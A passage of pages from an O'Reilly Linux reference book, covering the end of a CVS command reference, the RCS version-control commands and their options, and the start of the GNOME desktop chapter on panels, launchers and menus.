unedit | A user ran cvs unedit, cvs release, or deleted the file and ran cvs update, re-creating it.

See also the descriptions of the edit, editors, unedit, and watchers commands.

14.4.7.24. watchers

watchers
  [ -l | -R ]
  [ file ... ]

Display a list of users watching the specified files. This is determined by checking which users have run the watch command on a particular file (or set of files). If the watch command has not been used, no results will be displayed.

The standard meanings of the common client options -l and -R apply.

See also watch.

Previous | Home | Next
14.3. CVS Administrator Reference | Book Index | 14.5. The RCS Utility
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The RCS Utility (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.5. The RCS Utility

The Revision Control System (RCS) is designed to keep track of multiple file revisions, thereby reducing the amount of storage space needed. With RCS you can automatically store and retrieve revisions, merge or compare revisions, keep a complete history (or log) of changes, and identify revisions using symbolic keywords. This chapter describes Version 5.7 but notes differences from earlier versions.

Previous | Home | Next
14.4. CVS User Reference | Book Index | 14.6. Overview of RCS Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overview of RCS Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.6. Overview of RCS Commands

The three most important RCS commands are:

ci

Check in revisions (put a file under RCS control).

co

Check out revisions.

rcs

Set up or change attributes of RCS files.

Two additional commands provide information about RCS files:

ident

Extract keyword values from an RCS file.

rlog

Display a summary (log) about the revisions in an RCS file.

You can compare RCS files with these commands:

rcsdiff

Report differences between revisions.

rcsmerge

Incorporate changes from two RCS files into a third RCS file.

The following command helps with configuration management:

rcsclean

Remove working files that have not been changed.

Previous | Home | Next
14.5. The RCS Utility | Book Index | 14.7. Basic RCS Operations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Basic RCS Operations (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.7. Basic RCS Operations

Normally, you maintain RCS files in a subdirectory called RCS, so the first step in using RCS should be:

mkdir RCS

Next, you place an existing file (or files) under RCS control by running the check-in command:

ci file

This creates a file called file,v in directory RCS. file,v is called an RCS file, and it will store all future revisions of file. When you run ci on a file for the first time, you are prompted to describe the contents. ci then deposits file into the RCS file as revision 1.1.

To edit a new revision, check out a copy:

co -l file

This causes RCS to extract a copy of file from the RCS file. You must lock the file with -l to make it writable by you. This copy is called a working file. When you're done editing, you can record the changes by checking the working file back in again:

ci file

This time, you are prompted to enter a log of the changes made, and the file is deposited as revision 1.2. Note that a checkin normally removes the working file. To retrieve a read-only copy, do a checkout without a lock:

co file

This is useful when you need to keep a copy on hand for compiling or searching. As a shortcut to the previous ci/co, you could type:

ci -u file

This checks in the file but immediately checks out a read-only copy. To compare changes between a working file and its latest revision, you can type:

rcsdiff file

Another useful command is rlog, which shows a summary of log messages.

System administrators can use the rcs command to set up default behavior for RCS.

Previous | Home | Next
14.6. Overview of RCS Commands | Book Index | 14.8. General RCS Specifications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


General RCS Specifications (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.8. General RCS Specifications

This section discusses:

  • Keyword substitution

  • Revision numbering

  • Specifying the date

  • Specifying states

  • Standard options and environment variables

14.8.1. Keyword Substitution

RCS lets you place keyword variables in your working files. These variables are later expanded into revision notes. You can then use the notes either as embedded comments in the input file or as text strings that appear when the output is printed. To create revision notes via keyword substitution, follow this procedure:

  1. In your working file, type any of the keywords listed in the next section.

  2. Check the file in.

  3. Check the file out again. Upon checkout, the co command expands each keyword to include its value. That is, co replaces instances of:

    $keyword$

    with:

    $keyword:value$

  4. Subsequent checkin and checkout of a file will update any existing keyword values. Unless otherwise noted later, existing values are replaced by new values.

NOTE

Note: Many RCS commands have a -k option that provides more flexibility during keyword substitution.

14.8.1.1. Keywords

$Author$

Username of person who checked in revision.

$Date$

Date and time of checkin.

$Header$

A title that includes the RCS file's full pathname, revision number, date, author, state, and (if locked) the person who locked the file.

$Id$

Same as $Header$, but exclude the full pathname of the RCS file.

$Locker$

Username of person who locked the revision. If the file isn't locked, this value is empty.

$Log$

The message that was typed during checkin to describe the file, preceded by the RCS filename, revision number, author, and date. Log messages accumulate rather than being overwritten.

$RCSfile$

The RCS filename, without its pathname.

$Revision$

The assigned revision number.

$Source$

The RCS filename, including its pathname.

$State$

The state assigned by the -s option of ci or rcs.

14.8.1.2. Example values

Let's assume that the file /projects/new/chapter3 has been checked in and out by a user named daniel. Here's what keyword substitution would produce for each keyword, for the second revision of the file:

$Author: daniel $

$Date: 2001/07/05 14:25:39 $

$Header: /projects/new/chapter3,v 1.2 2000/02/25 18:21:10 daniel \
    Exp Locker: daniel $

$Id: chapter3,v 1.2 2001/07/05 14:25:39 daniel Exp $

$Locker:  $

$Log: chapter3,v $
Revision 1.2  2001/07/05 14:25:39  daniel
Added section on error handling

#Revision 1.1  2000/02/25 16:49:59  daniel
#Initial revision
#

$RCSfile: chapter3,v $

$Revision: 1.2 $

$Source: /projects/new/chapter3,v $

$State: Exp $

14.8.2. Revision Numbering

Unless told otherwise, RCS commands typically operate on the latest revision. Some commands have an -r option that is used to specify a revision number. In addition, many options accept a revision number as an optional argument. (In the command summary, this argument is shown as [R].) Revision numbers consist of up to four fields, release, level, branch, and sequence, but most revisions consist of only the release and level.

For example, you can check out revision 1.4 as follows:

co -l -r1.4 ch01

When you check it in again, the new revision will be marked as 1.5. But suppose the edited copy needs to be checked in as the next release. You would type:

ci -r2 ch01

This creates revision 2.1. You can also create a branch from an earlier revision. The following command creates revision 1.4.1.1:

ci -r1.4.1 ch01

Numbers are not the only way to specify revisions, though. You can assign a text label as a revision name, using the -n option of ci or rcs. You can also specify this name in any option that accepts a revision number for an argument. For example, you could check in each of your C programs, using the same label regardless of the current revision number:

ci -u -nPrototype *.c

In addition, beginning with RCS Version 5.6, you can specify a $, which means the revision number is extracted from the keywords of a working file. For example:

rcsdiff -r$ ch01

compares ch01 to the revision that is checked in. You can also combine names and symbols. The command:

rcs -nDraft:$ ch*

assigns a name to the revision numbers associated with several chapter files.

14.8.3. Specifying the Date

Revisions are timestamped by time and date of checkin. Several keyword strings include the date in their values. Dates can be supplied in options to ci, co, and rlog. RCS uses the following date format as its default:

1999/10/16 02:00:00     (year/month/day time)

The default time zone is Greenwich Mean Time (GMT), which is also referred to as Coordinated Universal Time (UTC). Dates can be supplied in free format. This lets you specify many different styles. Here are some of the more common ones, which show the same time as in the preceding example:

6:00 pm lt          (assuming today is Oct. 16, 1999)
2:00 AM, Oct. 16, 1999
Sat Oct 16 18:00:00 1999 LT
Sat Oct 16 18:00:00 PST 1999

The uppercase or lowercase lt indicates local time (here, Pacific Standard Time). The third line shows ctime format (plus the LT); the fourth line is the date command format.

14.8.4. Specifying States

In some situations, particularly programming environments, you want to know the status of a set of revisions. RCS files are marked by a text string that describes their state. The default state is Exp (experimental). Other common choices include Stab (stable) or Rel (released). These words are user-defined and have no special internal meaning. Several keyword strings include the state in their values. In addition, states can be supplied in options to ci, co, rcs, and rlog.

14.8.5. Standard Options and Environment Variables

RCS defines the environment variable RCSINIT, which is used to set up default options for RCS commands. If you set RCSINIT to a space-separated list of options, they will be prepended to the command-line options you supply to any RCS command. Three options are useful to include in RCSINIT: -q, -V, and -x. They can be thought of as standard options because most RCS commands accept them. Note that -V was new in RCS Version 5 and that -x was new in Version 5.6.

-q[R]

Quiet mode; don't show diagnostic output. R specifies a file revision.

-V[n]

Emulate version n of RCS; useful when trading files between systems that run different versions. n can be 3, 4, or 5. If n is omitted, the command prints the version number of this version of RCS.

-xsuffixes

Specify an alternate list of suffixes for RCS files. Each suffix is separated by a /. On Unix systems, RCS files normally end with the characters ,v. The -x option provides a workaround for systems that don't allow a comma (,) character in filenames.

-z[zone]

Specify the format of the date in keyword substitution. If empty, the default is to output the UTC time with no zone indication. With an argument of LT, the local time zone will be used to output an ISO 8601 format, with an indication of the separation from UTC. You may also specify a numeric UTC offset. For example, -z+4:30 would output a string such as: 1998-11-24 02:30:00+4:30.

For example, when depositing a working file into an RCS file, the command:

ci -x,v/ ch01     (second suffix is blank)

searches in order for the RCS filenames:

RCS/ch01,v
ch01,v
RCS/ch01
Previous | Home | Next
14.7. Basic RCS Operations | Book Index | 14.9. Alphabetical Summary of RCS Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alphabetical Summary of RCS Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.9. Alphabetical Summary of RCS Commands

For details on the syntax of keywords, revision numbers, dates, states, and standard options, refer to the previous discussions.

ci

ci [options] files

Check in revisions. ci stores the contents of the specified working files into their corresponding RCS files. Normally, ci deletes the working file after storing it. If no RCS file exists, then the working file is an initial revision. In this case, the RCS file is created and you are prompted to enter a description of the file. If an RCS file exists, ci increments the revision number and prompts you to enter a message that logs the changes made. Starting with RCS Version 5.6, if a working file is checked in without changes, the file reverts to the previous revision. In older RCS versions, you may end up having to check in a new revision that contains no changes.

The mutually exclusive options -u, -l, and -r are the most common. Use -u to keep a read-only copy of the working file (for example, so that the file can be compiled or searched). Use -l to update a revision and then immediately check it out again with a lock. This allows you to save intermediate changes but continue editing (for example, during a long editing session). Use -r to check in a file with a different release number. ci accepts the standard options -q, -V, -x, and -z.

Options

-d[date]

Check the file in with a timestamp of date or, if no date is specified, with the time of last modification.

-f[R]

Force a checkin even if there are no differences.

-I[R]

Interactive mode; prompt user even when standard input is not a terminal (e.g., when ci is part of a command pipeline). -I was new in RCS Version 5.

-i[R]

Create (initialize) an RCS file and check it in. A warning is reported if the RCS file already exists.

-j[R]

Check in a file without initializing. Will report an error if file does not already exist.

-k[R]

Assign a revision number, creation date, state, and author from keyword values that were placed in the working file, instead of computing the revision information from the local environment. -k is useful for software distribution: the preset keywords serve as a timestamp shared by all distribution sites.

-l[R]

Do a co -l after checking in. This leaves a locked copy of the next revision.

-m msg

Use the msg string as the log message for all files checked in. When checking in multiple files, ci normally prompts whether to reuse the log message of the previous file. -m bypasses this prompting.

-M[R]

Set the working file's modification time to that of the retrieved version. Use of -M can confuse make and should be used with care. (This was new in RCS Version 5.6.)

-n name

Associate a text name with the new revision number.

-N name

Same as -n, but override a previous name.

-r[R]

Check the file in as revision R.

-r

By itself, reverts to default behavior when releasing a lock and removing the working file. This option overrides any -l or -u options that have been initialized by shell aliases or scripts. This behavior for -r is specific to ci.

-s state

Set the state of the checked-in revision.

-T

Set the RCS file's modification time to the time of the latest revision if the RCS file's time precedes the new revision.

-t file

Replace RCS file description with contents of file. As of Version 5, this works only for initial checkin.

-t-string

Replace RCS file description with string. As of Version 5, this works only for initial checkin.

-u[R]

Do a co -u after checking in. This leaves a read-only copy.

-w user

Set the author field to user in the checked-in revision.

Examples

Check in chapter files using the same log message:

ci -m'First round edits' chap*

Check in edits to prog.c, leaving a read-only copy:

ci -u prog.c

Start revision level 2; refer to revision 2.1 as "Prototype":

ci -r2 -nPrototype prog.c
co

co [options] files

Retrieve a previously checked-in revision, and place it in the corresponding working file (or print to standard output if -p is specified). If you intend to edit the working file and check it in again, specify -l to lock the file. co accepts the standard options -q, -V, and -x.

Options

-d date

Retrieve latest revision whose checkin timestamp is on or before date.

-f[R]

Force the working file to be overwritten.

-I[R]

Interactive mode; prompt user even when standard input is not a terminal. (New in RCS Version 5.)

-j R2:R3

This works like rcsmerge. R2 and R3 specify two revisions whose changes are merged into a third file: either the corresponding working file or a third revision (any R specified by other co options).

-k c

Expand keyword symbols according to flag c. c can be:

b

Like o, but performs its operations in binary mode, generating the previous revision's keywords and values in binary.

k

Expand symbols to keywords only (no values). This is useful for ignoring trivial differences during file comparison.

kv

Expand symbols to keyword and value (the default). Insert the locker's name only during a ci -l or co -l.

kvl

Like kv, but always insert the locker's name.

o

Expand symbols to keyword and value present in previous revision. This is useful for binary files that don't allow substring changes.

v

Expand symbols to values only (no keywords). This prevents further keyword substitution and is not recommended.

-l[R]

Same as -r, but also lock the retrieved revision.

-M[R]

Set the working file's modification time to that of the retrieved version. Use of -M can confuse make and should be used with care. (This was new in RCS Version 5.6.)

-p[R]

Send retrieved revision to standard output instead of to a working file. Useful for output redirection or filtering.

-r[R]

Retrieve the latest revision or, if R is given, retrieve the latest revision that is equal to or lower than R.

-s state

Retrieve the latest revision having the given state.

-T

Preserve the modification time of the RCS file even if a lock is added or removed.

-u[R]

Same as -r, but also unlock the retrieved revision if you locked it previously.

-w[user]

Retrieve the latest revision that was checked in either by the invoking user or by the specified user.

Examples

Sort the latest stored version of file:

co -p file | sort

Check out (and lock) all uppercase filenames for editing:

co -l [A-Z]*

Note that filename expansion fails unless a working copy resides in the current directory. Therefore, this example works only if the files were previously checked in via ci -u. Finally, here are some different ways to extract the working files for a set of RCS files (in the current directory):

co -r3 *,v                  Latest revisions of release 3
co -r3 -wjim *,v            Same, but only if checked in by jim
co -d'May 5, 2 pm LT' *,v   Latest revisions that were modified on or before the date
co -rPrototype *,v          Latest revisions named Prototype
ident

ident [option] [files]

Extract keyword/value symbols from files. files can be text files, object files, or dumps.

Option

-q

Suppress warning message when no keyword patterns are found.

Examples

If file prog.c is compiled, and it contains this line of code:

char rcsID[] = "$Author: ellie $";

then the following output is produced:

% ident prog.c prog.o
prog.c:
     $Author: ellie $
prog.o:
     $Author: ellie $

Show keywords for all RCS files (suppress warnings):

co -p RCS/*,v | ident -q
rcs

rcs [options] <files

An administrative command for setting up or changing the default attributes of RCS files. Among other things, rcs lets you set strict locking (-L), delete revisions (-o), and override locks set by co (-l and -u). RCS files have an access list (created via -a); anyone whose username is on the list can run rcs. The access list is often empty, meaning that rcs is available to everyone. In addition, you can always invoke rcs if you own the file, if you're a privileged user, or if you run rcs with -i. rcs accepts the standard options -q, -V, -x, and -z.

Options

-a users

Append the comma-separated list of users to the access list.

-A otherfile

Append otherfile's access list to the access list of files.

-b[R]

Set the default branch to R or, if R is omitted, to the highest branch on the trunk.

-c`s'

The comment character for $Log keywords is set to string s. By default, co expands embedded $Log keywords into comments preceded by #. You could, for example, set s to .\" for troff files or set s to * for C programs. (You would need to manually insert an enclosing /* and */ before and after $Log.)

-e[users]

Erase everyone (or only the specified users) from the access list.

-i

Create (initialize) an RCS file, but don't deposit a revision.

-I

Interactive mode; prompt user even when standard input is not a terminal. (New in RCS Version 5.)

-k c

Use c as the default style for keyword substitution. (See co for values of c.) -kkv restores the default substitution style; all other styles create incompatibilities with RCS Version 4 or earlier.

-l[R

Lock revision R or the latest revision. -l "retroactively locks" a file and is useful if you checked out a file incorrectly by typing co instead of co -l.

-L

Turn on strict locking (the default). This means that everyone, including the owner of the RCS file, must use co -l to edit files. Strict locking is recommended when files are to be shared. (See -U.)

-m R:msg

Use the msg string to replace the log message of revision R. (This was new in RCS Version 5.6.)

-M

Disable email notification when breaking a lock on a file with rcs -u. This should only be used when there is another means to warn users that their files have been unlocked.

-n flags

Add or delete an association between a revision and a name. flags can be:

name:R

Associate name with revision R.

name:

Associate name with latest revision.

name

Remove association of name.

-Nflags

Same as -n, but overwrite existing names.

-o R_list

Delete (outdate) revisions listed in R_list. R_list can be specified as R1, R1-R2, R1-, or -R2. When a branch is given, -o deletes only the latest revision on it. RCS Version 5.6 changed the range separator character to :, although - is still valid.

-s state[:R]

Set the state of revision R (or the latest revision) to the word state.

-t[file]

Replace RCS file description with contents of file or, if no file is given, with standard output.

-t-string

Replace RCS file description with string. Preserves the time of modification on an RCS file unless a revision is removed.

-T

Preserve the modification time of the RCS file.

-u[R]

The complement of -l: unlock a revision that was previously checked out via co -l. If someone else did the checkout, you are prompted to state the reason for breaking the lock. This message is mailed to the original locker.

-U

Turn on nonstrict locking. Everyone except the file owner must use co -l to edit files. (See -L.)

-V

Print the RCS version number.

-z zone

Set the default time zone for timestamp options performed by the ci and co commands.

Examples

Associate the label To_customer with the latest revision of all RCS files:

rcs -nTo_customer: RCS/*

Add three users to the access list of file beatle_deals:

rcs -ageorge,paul,ringo beatle_deals

Delete revisions 1.2 through 1.5:

rcs -o1.2-1.5 doc

Replace an RCS file description with the contents of a variable:

echo "$description" | rcs -t file
rcsclean

rcsclean [options] [files]

Compare checked-out files against the corresponding latest revision or revision R (as given by the options). If no differences are found, the working file is removed. (Use rcsdiff to find differences.) rcsclean is useful in makefiles. For example, you could specify a "clean-up" target to update your directories. rcsclean is also useful prior to running rcsfreeze. rcsclean accepts the standard options -q, -V, -x, and -z.

Options

-k c

When comparing revisions, expand keywords using style c. (See co for values of c.)

-n[R]

Show what would happen, but don't actually execute.

-r[R]

Compare against revision R. R can be supplied as arguments to other options, so -r is redundant.

-T

Preserve the modification time of the RCS file even if a lock is added or removed.

-u[R]

Unlock the revision if it's the same as the working file.

Examples

Remove unchanged copies of program and header files:

rcsclean *.c *.h
rcsdiff

rcsdiff [options] [diff_options] files

Compare revisions via diff. Specify revisions using -r as follows:

     Number of
     Revisions Specified:    Comparison Made:
   None                       Working file against latest revision
   One                         Working file against specified revision
   Two                         One revision against the other

rcsdiff accepts the standard options -q, -T, -V, -x, and -z, as well as diff_options, which can be any valid diff option. rcsdiff exits with a status of 0 (no differences), 1 (some differences), or 2 (unknown problem).

Options

-k c

When comparing revisions, expand keywords using style c. (See co for values of c.)

-r R1

Use revision R1 in the comparison.

-r R2

Use revision R2 in the comparison. (-r R1 must also be specified.)

rcsmerge

rcsmerge [options] file

Perform a three-way merge of file revisions, taking two differing versions and incorporating the changes into the working file. You must provide either one or two revisions to merge (typically with -r). Overlaps are handled the same as with merge, by placing warnings in the resulting file. rcsmerge accepts the standard options -q, -V, -x, and -z. rcsmerge exits with a status of 0 (no overlaps), 1 (some overlaps), or 2 (unknown problem).

Options

-k c

When comparing revisions, expand keywords using style c. (See co for values of c.)

-p[R]

Send merged version to standard output instead of overwriting file.

-r[R]

Merge revision R or, if no R is given, merge the latest revision.

Examples

Suppose you need to add updates to an old revision (1.3) of prog.c, but the current file is already at revision 1.6. To incorporate the changes:

co -l prog.c
(edit latest revision by adding revision 1.3 updates, then:)
rcsmerge -p -r1.3 -r1.6 prog.c > prog.updated.c

Undo changes between revisions 3.5 and 3.2, and overwrite the working file:

rcsmerge -r3.5 -r3.2 chap08
rlog

rlog [options] files

Display identification information for RCS files, including the log message associated with each revision, the number of lines added or removed, date of last checkin, and so on. With no options, rlog displays all information. Use options to display specific items. rlog accepts the standard options -T, -V, -x, and -z.

Options

-b

Prune the display; print only about the default branch.

-d dates

Display information for revisions whose checkin timestamp falls in the range of dates (a list separated by semicolons). Be sure to use quotes. Each date can be specified as:

date1<date2

Select revisions between date1 and date2, inclusive.

date1 <

Select revisions made on or after date1.

date1

Select revisions made on or before date1.

-h

Display the beginning of the normal rlog listing.

-l[users]

Display information only about locked revisions or, if lockers is specified, only revisions locked by the list of users.

-L

Skip files that aren't locked.

-N

Don't display symbolic names.

-r[list]

Display information for revisions in the comma-separated list of revision numbers. If no list is given, the latest revision is used. Items can be specified as:

R1

Select revision R1. If R1 is a branch, select all revisions on it.

R1.

If R1 is a branch, select its latest revision.

R1-R2

Select revisions R1 through R2.

-R1

Select revisions from beginning of branch through R1.

R1-

Select revisions from R1 through end of branch.

RCS Version 5.6 changed the range separator character to :, although - is still valid.

-R

Display only the name of the RCS file.

-s states

Display information for revisions whose state matches one from the comma-separated list of states.

-t

Same as -h, but also display the file's description.

-w[users]

Display information for revisions checked in by anyone in the comma-separated list of users. If no users are supplied, assume the name of the invoking user.

Examples

Display a file's revision history:

rlog RCS/*,v | more

Display names of RCS files that are locked by user daniel:

rlog -R -L -ldaniel RCS/*

Display the "title" portion (no revision history) of a working file:

rlog -t calc.c

Previous | Home | Next
14.8. General RCS Specifications | Book Index | 15. GNOME
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


GNOME (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 15. GNOME

Contents:

Desktop Overview
The Panel
The Main Menu
The GNOME Control Center

GNOME stands for the GNU Network Object Model Environment. It is a user-friendly, graphically driven environment that controls the look and feel of your desktop and provides a consistent method of interaction and cooperation between applications. GNOME is one of two popular desktop environments used with Linux. It is standard with Red Hat, Debian, and other popular distributions. The other popular Linux environment is called KDE, which is discussed in Chapter 16, "KDE".

GNOME is not a window manager. As a graphical environment, it provides users with a highly customizable user interface and consistent functionality of common GUI features such as menus, toolbars, and buttons. As a user environment, GNOME utilizes a growing set of native applications to create a productive computing system.

One of GNOME's most attractive features is its CORBA-based architecture, which allows interaction among applications through the sharing and embedding of component objects. CORBA stands for Common Object Request Broker Architecture. It specifies methods that software objects use to interact with each other through an ORB (object request broker). The ORB package currently used by GNOME is the ORBit package (http://www.labs.redhat.com/orbit).ORBit allows similar functionality to Window's COM and OLE. For example, a spreadsheet created by gnumeric (a GNOME spreadsheet program) can be placed as an object into an AbiWord document.

GNOME does rely on a window manager to handle the particulars of the X Window System environment. The window manager controls the placement, movement, and graphical style of the windows on your screen. You can use GNOME with many different window managers, but they must be compliant with GNOME in order to utilize features such as drag-and-drop. Sawfish and Enlightenment are commonly used window managers and are fully compliant with the GNOME environment. Other window managers that can be used are IceWM, WindowMaker, and AfterStep.

15.1. Desktop Overview

Figure 15-1 shows the default GNOME desktop. The left side of the screen contains icons that are shortcuts to open applications. The top icon is a symbolic link to the user's home folder, and when double-clicked, opens the GNOME file manager displaying that folder. The other icons include shortcuts to the floppy drive and CD-ROM and links to web pages. Desktop icons can be used to launch any program on your system, invoke the appropriate application for a data file or view a directory or URL.

Figure 15-1. The GNOME desktop

The bar across the bottom of the screen is the GNOME panel. It is your primary means of finding and opening applications and managing your desktop. The panel contains launcher buttons for the main menu, help and configuration tools, and the Netscape browser. You can add buttons to the control panel to launch any application on your system.

The panel also runs two special programs (called applets) that help you get around your desktop. The Desk Guide applet displays your desktop workspace. Many window managers allow you to divide your workspace into a number of different screens (called virtual desktops or viewports). Desk Guide provides a small display of the available desktops and outlines of the windows they contain. Clicking on an area of the display will switch your desktop view.

The Tasklist applet lets you keep track of open windows. It displays a button on the panel for each window you have open. Clicking on a button in the tasklist will bring focus to its window or reopen it if it was minimized.

GNOME allows you an enormous number of configuration options for your desktop environment. You can right-click on just about anything and get a pop-up menu (called a context menu) containing specific actions for that item and a way to configure its properties. General configuration settings are contained in the GNOME Control Center. You can access this tool in the following ways: click the toolbox button on the panel to open the Control Center window, or from the main menu, select Settings, then GNOME Control Center (individual configuration applications also are accessible from this menu).

15.1.1. Adding Desktop Icons

Desktop icons offer you convenient double-click access to your most important files, applications, and links. The items displayed on your desktop exist as files in the .gnome-desktop directory of your home directory. Anything you add to that directory will appear on the desktop.

The desktop context menu contains a New submenu that allows you to add different types of items to your desktop.

To add an icon that launches an application, select New [image] Launcher. This opens the Desktop Entry Properties dialog box shown in Figure 15-2. Provide the name of the launcher (this will be the text displayed underneath the icon), a comment (this will be the tooltip that appears when the pointer is over the icon), and the command used to run the application. After you click OK, the new launcher icon appears on your desktop.

Figure 15-2. Desktop entry properties

To add a desktop icon that opens a directory, select New [image] Directory from the desktop context menu. Provide the name of a directory in the dialog box. If you specify a full pathname, the desktop icon will be created as a symbolic link. If it is not a full pathname, the new directory will be created in ~/.gnome-desktop.

To add a URL link to the desktop, select New [image] URL Link from the desktop context menu. This will open a dialog box that asks you for the URL you wish to open and a caption to use as the icon's text label. Click OK, and the icon appears on your desktop. You also can click and drag any link displayed in the Netscape browser to the desktop to create a link.

A convenient use of desktop icons is to have shortcuts to frequently used files or folders. Adding shortcuts is easiest from the file manager (gmc). If you click on an item in the file manager and drag it to the desktop, you will create a launcher icon for it. This action actually moves the item to the ~/.gnome-desktop folder. If you press the Ctrl key while selecting and dragging the item, you will only copy the item to the desktop. If you middle-click or press Alt while selecting and dragging an item, a small pop-up window will ask you if you want to move, copy, or link the file. Selecting Link Here will create a symbolic link on the desktop that points to the original location of the item. For most files and folders, you may find this a best option.

Previous | Home | Next
14.9. Alphabetical Summary of RCS Commands | Book Index | 15.2. The Panel
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Panel (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

15.2. The Panel

The GNOME panel can contain several different types of objects. The most obvious are the buttons for the menu and application launchers. You also can use a button to open a drawer, which is like a subpanel containing additional launchers. There are a few special types of buttons used for logging out of the session and locking the screen. Finally, small programs called applets can be run on the panel. The Desk Guide and the clock are examples of panel applets.

Settings for the panel are found in the Panel menu on the main menu or by right-clicking on the panel. This menu offers options to add new launchers or applets to the panel; adjust the style, size, and display of the panel; or create new panels on the desktop.

15.2.1. Additional Panels

You can create more than one panel on your desktop. This is useful if you have different sets of applications used for specific but common tasks. For example, if you do a lot of work on graphics, you can dedicate a panel to launch your favorite graphics tools. To create a new panel, right-click on the default panel and select Add New Panel. Or from the main menu, select Panel [image] Add New Panel. There are five different types of panels available from the submenu:

edge panel

The style of the default panel. It stretches across one entire edge of the screen. Arrow buttons on each end of the panel are used to collapse the panel to the side of a screen. Clicking on the remaining visible arrow button of a collapsed panel will cause the panel to appear again in full.

aligned panel

A similar panel that is effectively anchored to one corner of the screen and extends just enough to fit the buttons and applets it contains. An aligned panel can be hidden by clicking the arrow button that is at the edge of the screen. The arrow button farthest from the edge will anchor an aligned panel on the opposite side of the screen.

sliding panel

Like an aligned panel except that it can be placed anywhere along the edge of the screen. It is not anchored to a corner.

floating panel

As you'd suspect, a panel that can be placed anywhere on the screen.

menu panel

A special type of panel that stretches along the top of the screen. It is a thin bar that contains drop-down menus for the Programs, Favorites, Settings, and Desktop menus found in the main menu.

All of the panels except the menu panel can be moved by middle-clicking (or clicking the left and right buttons simultaneously) and dragging the panel to another part of the screen where it can be placed.

Each panel can be configured individually from the Panel menu in its context (right-click) menu. Right-click and select Panel [image] Properties. Here you can choose from several different menu options. The Type submenu changes the panel's type (although a menu panel cannot be changed to another type of panel). The Hiding Policy submenu has settings for Explicit Hide, where you click one of the arrow buttons to collapse the panel to the side of the screen; or Auto Hide, where the panel automatically reduces when not in use. The Hide Buttons submenu allows you to show or hide the arrow and hide buttons of a panel. The Size submenu sets the size of the panel from tiny to huge. The Background Type submenu lets you set the background of a panel to either a color or a pixmap image.

To access all of the panel's properties in one dialog, select All Properties from this menu. Global property settings are found in the GNOME Control Center. They are described later in this chapter.

15.2.2. Adding an Application Launcher to the Panel

One of the conveniences of the panel is creating launcher icons that allow you one-click access to frequently used applications. To add an application, right-click the panel and select Add New Launcher. You also can right-click on an application in the main menu and choose Add This Launcher to Panel.

In each case, the Create Launcher Applet dialog will appear. Provide a name for the application, a comment to be used as a tooltip, and the command used to open the application. Click on the icon button to select the image to be used for the button on the panel. If the application is to be run in a Terminal, click the Run in Terminal button.

The drag-and-drop functionality of GNOME allows you to place applications on the panel in a number of ways. For example, you can click on an application file in the file manager and drag it to the panel. This will open the Add New Launcher dialog and create a new launcher button on the panel. You also can drag a desktop icon to the panel.

You can configure a launcher's properties by right-clicking it and selecting Properties. This opens the Launcher Properties window, where you can change the name, comment, command, application type, and icon used for the launcher.

Launcher buttons can be placed in any position and order you want on the panel. To move a launcher button, right-click it and select Move. The mouse pointer will change, allowing you to drag the button to another position. Click to set the new position of the button.

Previous | Home | Next
15. GNOME | Book Index | 15.3. The Main Menu
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Main Menu (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

15.3. The Main Menu

By default, the GNOME panel contains one menu -- the main menu. It is displayed using the first button on the right with the GNOME foot icon on it (sometimes it is called the foot menu). The default main menu offers a number of items and submenus divided into sections:

  • The System menu contains items for installed GNOME applications and utilities, separated into additional submenus by categories, such as Graphics, Utilities, Internet, and so on. Two items are included at the bottom of the System menu: Help opens the GNOME help browser, and Run Command opens the single command-line prompt window. The System menu can be changed only by a user with root access, and this action will change it for all users.

  • The User menu is empty by default. Individual users can add their own items to the User menu section.

  • If other packages, like KDE or AnotherLevel, are installed on your system, their default menus also may be included in the main menu.

  • The Panel menu contains actions and configuration shortcuts for the panel. The items in this menu also are found in the pop-up menu accessed by right-clicking on the panel.

  • The four items at the bottom of the menu allow you to lock the screen (requiring the user's password to reenter the desktop), view version information for the panel, and log out.

You will notice that the top entry for each menu section and each submenu is not an actionable item. It is the titlebar for the menu. Right-clicking a titlebar opens a pop-up menu containing a couple of options:

Add this as drawer to panel

Takes the current submenu and converts it to a drawer on the panel.

Add this as menu to panel

Copies the menu to a new menu launcher on the panel. Keep in mind that the submenu from the main menu and the menu on the panel are the same. You can edit the submenu in the menu editor, and the changes will occur in the Panel menu.

Add this to personal menu

Copies the menu to the User menu.

The default configuration of the main menu makes it a bit difficult to customize. Since the System menus are set and cannot be altered (unless you are root), you can initially configure only the User menu section.

The best way to make a fully customizable main menu (other than being root all the time) is to copy the desired parts of the System menu to your User menu. Once you have done this, you can edit the User menu in the menu editor to your liking.

15.3.1. Menu Display Properties

You can choose which menus are displayed by using the menu properties. Right-click the menu button and choose Properties to open this dialog. The Menu Properties window contains display settings for the System menu, User menu, and any other default menus you have installed. You can choose to display each menu as either fully listed, in a submenu, or not displayed at all.

15.3.2. Editing the Menu

The Menu Editor, shown in Figure 15-3, lets you add and remove items from your menu and move them around. To open the menu editor, select Settings, then Menu Editor from the main menu.

Figure 15-3. The Menu Editor

The menu editor is divided into two sections: the left window displays the hierarchy of the User and System menus and the items they contain. You can reorder menu items or move them to other submenus by clicking and dragging them in the left window. The right window shows the properties of an item selected in the left window.

The buttons on the toolbar provide you with the following actions on a selected menu item: add a new submenu, add a new item, delete the selection, move it up or down, and sort a submenu.

To add a new submenu, select the menu in which you want to place it in the menu tree and click the New Submenu button. Provide the name of the submenu in the right window and click OK.

